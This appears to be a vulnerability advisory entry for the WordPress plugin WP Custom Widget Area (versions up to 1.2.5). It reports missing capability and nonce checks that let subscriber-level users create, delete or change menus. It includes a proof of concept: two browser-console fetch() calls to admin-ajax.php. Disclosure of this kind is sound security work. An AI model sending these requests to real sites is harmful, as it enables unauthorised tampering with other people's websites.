WordPress Plugin Vulnerabilities

WP Custom Widget Area <= 1.2.5 - Subscriber+ Menus Creation/Deletion/Update

Description

The plugin does not properly apply capability and nonce checks on any of its AJAX action callback functions, which could allow attackers with subscriber+ privilege to create, delete or modify menus on the site.

Proof of Concept

Log in as a subscriber, and paste any of the following fetch() call in your browser's console:

# Deletes an existing menu
fetch("http://vulnerable-site.tld/wp-admin/admin-ajax.php?action=delete_menu", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "data[cwa_id]=test",
  "method": "POST",
})

# Creates a new menu with a title set to "Hacked Title"
fetch("http://vulnerable-site.tld/wp-admin/admin-ajax.php?action=add_menu", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
   },
  "body": "data[cwa_id]=test&data[cwa_name]=Hacked+Title",
  "method": "POST",
})

Affects Plugins

References

Classification

Type
NO AUTHORISATION
CWE

Miscellaneous

Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2023-12-21 (about 4 months ago)
Added
2023-12-21 (about 4 months ago)
Last Updated
2023-12-21 (about 4 months ago)

Other